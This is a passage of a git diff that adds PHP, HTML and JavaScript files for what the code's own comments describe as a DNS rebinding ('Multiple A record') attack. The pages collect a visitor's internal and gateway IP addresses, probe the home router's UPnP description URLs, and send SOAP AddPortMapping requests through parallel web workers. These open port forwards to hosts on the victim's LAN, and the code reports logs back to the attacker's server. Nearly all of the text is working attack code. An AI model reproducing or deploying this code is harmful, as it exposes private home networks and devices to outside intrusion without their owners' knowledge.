'.file_get_contents("php://input")); +} + +?> + + diff --git a/var/www/html/test.html b/var/www/html/test.html new file mode 100644 index 0000000..637461e --- /dev/null +++ b/var/www/html/test.html @@ -0,0 +1,37 @@ + + +Hello + diff --git a/var/www/html/u0.php b/var/www/html/u0.php new file mode 100644 index 0000000..db0f12f --- /dev/null +++ b/var/www/html/u0.php @@ -0,0 +1,68 @@ +connect(MEMCACHED_HOST, MEMCACHED_PORT); + +$cdns = explode(".", $_SERVER["HTTP_HOST"]); +$cdns_ct = count($cdns); +$connip = $_SERVER["REMOTE_ADDR"]; +//HERE WE SET WHETHER TO USE PUB IP FOR REBIND OR PRIVATE GW IP +$weakendsystem = "off"; + +/*$key = "test"; +$product = array("123", "456"); + +$memcache->set($key, $product); + +$text = $memcache->get($key); + +foreach ($text as $data) +{ + echo $data; +}*/ +$iparray = ""; +//Remove initial colon from ip array +$ipstr = substr(base64_decode(file_get_contents("php://input")),1); +if ($ipstr != false) +{ + $iparray = explode(":", $ipstr); + $key = $cdns[$cdns_ct-3]; + $gip = array(); //Gateway IP Array + foreach ($iparray as $data) + { + $newiparray = explode(";", $data); + if (filter_var($newiparray[0], FILTER_VALIDATE_IP) && filter_var($newiparray[1], FILTER_VALIDATE_IP)) + { + + //We are using last IP returned (usually primary in webrtc) + $cip = explode(".", $newiparray[0]); + $sub = $cip[0].".".$cip[1].".".$cip[2]; + $gip[$gip.length] = $newiparray[1]; + //$gip[$gip.length] = $cip[0].".".$cip[1].".".$cip[2].".254"; + //$gip[$gip.length] = $cip[0].".".$cip[1].".".$cip[2].".2"; + //$gip[$gip.length] = $cip[0].".".$cip[1].".".$cip[2].".3"; + /* This is old code from php determining gateway. Javascript now posts the correct gateway ip + echo $cip[0].".".$cip[1].".".$cip[2].".1\n"; + */ + $memcache->set($key."ip", $newiparray[1].";".$newiparray[0].";".$sub); + if ($weakendsystem == "on") + { + + $memcache->set($key, $connip); + } + else + { + $memcache->set($key, $gip); + } + } + } + + +} + +?> diff --git a/var/www/html/wmain.html b/var/www/html/wmain.html new file mode 100644 index 0000000..c35b70a --- /dev/null +++ b/var/www/html/wmain.html @@ -0,0 +1,230 @@ + 2) +{ + $rootDomain = ".".$cdns[$cdns_ct-2].".".$cdns[$cdns_ct-1]; +} +else +{ + $rootDomain = $_SERVER["HTTP_HOST"]; + //echo $cdns_ct; +} + +session_set_cookie_params( + $currentCookieParams["lifetime"], + $currentCookieParams["path"], + $rootDomain, + false, //$currentCookieParams["secure"], + false //$currentCookieParams["httponly"] +); +//Start the session +session_start(); +$browser = get_browser(null, true); +$_SESSION["browser"] = $browser['browser']; +if ($debugmode == "on") +{ + echo $_SESSION["browser"]; + $_SESSION["debug"] = "on"; +} +//Setup uniqueid subdomain. Since Chrome and Firefox work, set all browsers to f. the f prefix will execute Multiple A record attack +if ($_SESSION["browser"] )//== "Firefox") +{ + $_SESSION["uid"] = uniqid("f"); +} +else +{ + $_SESSION["uid"] = uniqid("d"); +} + +$_SESSION["domain"] = $rootDomain; +//echo $rootDomain; + +?> + + + + +/wopen.html"> + + +'; + echo '
'; +} +else +{ + echo ''; +} +?> + + diff --git a/var/www/html/wopen.html b/var/www/html/wopen.html new file mode 100644 index 0000000..83cfa2c --- /dev/null +++ b/var/www/html/wopen.html @@ -0,0 +1,41 @@ +/script.js">*/ +?> + + + + +'; //Complete the body bracket without background color + echo "Hello
"; + echo $_SESSION["uid"]; + echo $_SESSION["domain"].'
'; + //$browser = get_browser(null, true); + //echo $_SESSION['browser']; + //echo substr($_SESSION["uid"], 0, 1); + echo $_SERVER["SERVER_PORT"]; + //echo $_SESSION["port"]; +} +else +{ + echo 'bgcolor="#000000">'; + echo ''; +} +?> + + + diff --git a/var/www/html/worker.js b/var/www/html/worker.js new file mode 100644 index 0000000..9079a0a --- /dev/null +++ b/var/www/html/worker.js @@ -0,0 +1,276 @@ + + +var urls = ["/DeviceDescription.xml", "/rootDesc.xml", "/upnp/rootdevice.xml", "/upnpdev.xml", "/igd.xml", "/InternetGatewayDevice.xml", "/IGDdevicedesc.xml", "/xml/igdIPDesc.xml", "/WFADevice.xml", "/Public_UPNP_gatedesc.xml"]; + +var corrurl = ""; + +var schematype = ""; + + +var getips = httpGet("http://d0." + uniqdom + "/i0.php", false).split(';'); +var intips = [ getips[0], getips[1]]; +var sub = getips[3]; +var logs = ""; + +var xmlhttp = new Array(); + + +var retrycounter = 0; +var workernum = 30; +var workers = []; +var workerjs = ""; +var blob; + +//Async request for worker code +xmlhttpworker = new XMLHttpRequest(); +xmlhttpworker.onreadystatechange=function() + { + if (xmlhttpworker.readyState==4 && xmlhttpworker.status==200) + { + workerjs = xmlhttpworker.responseText; + buildblob(); + buildworkers(); + closefw(); + } + } +xmlhttpworker.open("GET","http://" + uniqdom + '/open.js',true); +xmlhttpworker.send(); + +function buildblob() { + + try { + blob = new Blob([workerjs], {type: 'application/javascript'}); + } catch (e) { // Backwards-compatibility + window.BlobBuilder = window.BlobBuilder || window.WebKitBlobBuilder || window.MozBlobBuilder; + blob = new BlobBuilder(); + blob.append(response); + blob = blob.getBlob(); + } + +} + +function workermessage(e) { + console.log('Message received from worker: ' + e.data[0]); + if (e.data[0] == "Logs") + { + logs = logs + e.data[1]; + postlogs(); + } +} + +function workererror(event){ + throw new Error(event.message + " (" + event.filename + ":" + event.lineno + ")"); +}; +function buildworkers() { + //Create workers and put them in array + for (i = 0; i < workernum; i++) + { + //workers[i] = new Worker('open.js'); + workers[i] = new Worker(URL.createObjectURL(blob)); + workers[i].onmessage = workermessage; + workers[i].onerror = workererror; + } +} +function opnip(iparray) +{ + if (typeof iparray === 'undefined') + { + iparray = intips; + } + for (i=0; i < iparray.length; i++) + { + for (j=0; j < opnports.length; j++) + { + var portarr = opnports[j].split(":"); + var proto = portarr[1]; + var intportnum = portarr[0]; + logs = logs + startportnum + "---" + iparray[i] + ":" + intportnum + "_" + proto + '
'; + //alert("start"); + loadXMLDoc(corrurl, schematype, startportnum, intportnum, proto, iparray[i]); + startportnum++; + } + } +} + +function loadXMLDoc(url, schema, extport, intport, proto, intip) { + //document.write("startxml"); + req = false; + // branch for native XMLHttpRequest object + req = new XMLHttpRequest(); + if(req) { + //document.write("postxml"); + req.onreadystatechange = processReqChange; + req.open("POST", url, true); + req.setRequestHeader('SOAPAction', '"' + schema + '#AddPortMapping"'); + + req.send('xml version="1.0"?>'+ extport + '' + proto + '' + intport + '' + intip + '1XBOX0'); + } +} +function processReqChange() { + // only if req shows "loaded" + if (req.readyState == 4) { + // only if "OK" + if (req.status == 200) { + // ...processing statements go here... + //alert(req.responseText); + } else { + logs = logs + "There was a problem retrieving the XML data:\n" + req.statusText + '
'; + } + } +} +function openNet(net) { + net = net.replace(/(\d+\.\d+\.\d+)\.\d+/, '$1.'); + var tmparray = []; + //255 / number of workers + var sectionsize = Math.ceil(255 / workers.length); + var portsize = opnports.length; + for (var i = 1; i < 256; ++i) { + if (intips.indexOf(net+i) == -1){ + tmparray.push(net + i); + } + } + //for each worker, break off a chunk + for (var i=0; i < workers.length; i++) { + chunk = tmparray.splice(0,sectionsize) + console.log('Chunk ready to be sent: ' + chunk); + console.log('Startportnum is : ' + startportnum); + console.log('Control URL is : ' + corrurl); + controlurl = "http://" + uniqdom + ":" + location.port + corrurl; + workers[i].postMessage([chunk, controlurl, schematype, startportnum]); + //Add correct amount of ports based on number of ports to open times num of hosts in the chunk + startportnum = startportnum + (sectionsize * portsize); + console.log('Startportnum changed to : ' + startportnum); + } + //opnip(tmparray); +} +function postlogs() +{ + var postint = httpPost("http://d0./r0.php",logs); +} +function finish() +{ + var bs = httpPost("http://d0./c0.html", btoa(location.port)); +} +function pausecomp(millis) + +{ + var date = new Date(); + var curDate = null; + do { curDate = new Date(); } + while(curDate-date < millis); +} +function httpGet(theUrl, async) +{ + var xmlHttp = null; + + xmlHttp = new XMLHttpRequest(); + if (async == true) + { + xmlHttp.timeout = 5; + } + xmlHttp.open( "GET", theUrl, async); + xmlHttp.send( null ); + return xmlHttp.responseText; +} +function httpPost(theUrl,theText) +{ + var xmlHttp = null; + + xmlHttp = new XMLHttpRequest(); + xmlHttp.open( "POST", theUrl, false); + xmlHttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); + xmlHttp.send(theText); + return xmlHttp.responseText; +} +function closefw() +{ + xmlHttp = new XMLHttpRequest(); + xmlHttp.onreadystatechange=function() + { + if (xmlHttp.readyState==4 && xmlHttp.status==200) + { + //Do this to fail the first request and have the browser switch + httpGet("http://" + uniqdom + ":" + location.port + "/dead.html", true); + httpGet("http://" + uniqdom + ":" + location.port + "/dead2.html", true); + go(); + } + } + //This closes firewall on original ip. + xmlHttp.open("POST","http://d1." + uniqdom + "/c1.html",true); + xmlHttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); + xmlHttp.send(btoa(location.port)); +} +function go() +{ + setTimeout( function(){ + //Let's pause for a sec + //pausecomp(500); + for (index = 0; index < urls.length; index++) + { + (function(index) + { + xmlhttp[index]=new XMLHttpRequest(); + xmlhttp[index].onreadystatechange = function () + { + console.log('Onreadcalled Status: ' + xmlhttp[index].status); + if (xmlhttp[index.status]==0) + { + retrycounter++; + if (retrycounter == urls.length) + { + retrycounter = 0; + go(); + } + } + if (xmlhttp[index].readyState==4 && xmlhttp[index].status==200) + { + console.log('Success'); + xmlDoc = xmlhttp[index].responseXML; + x = xmlDoc.getElementsByTagName("service"); + for (i=0; i < x.length; i++) + { + y = x[i].getElementsByTagName("serviceType"); + if (y[0].innerHTML == ("urn:schemas-upnp-org:service:WANIPConnection:1" || "urn:schemas-upnp-org:service:WANPPPConnection:1")) + { + corrurl = x[i].getElementsByTagName("controlURL")[0].innerHTML; + schematype = y[0].innerHTML; + console.log('About to post message to worker Control URL: ' + corrurl); + opnip(intips); + openNet(getips[0]); + + } + } + } + }; + try + { + xmlhttp[index].open("GET",urls[index],true); + xmlhttp[index].send(); + } + catch(e) + { + } + })(index); + + } + + }, 0) + setTimeout( function() { + var postint = httpPost("http://d0./r0.php",logs); + + var bs = httpPost("http://d0./c0.html", btoa(location.port)); + + }, 500000); +}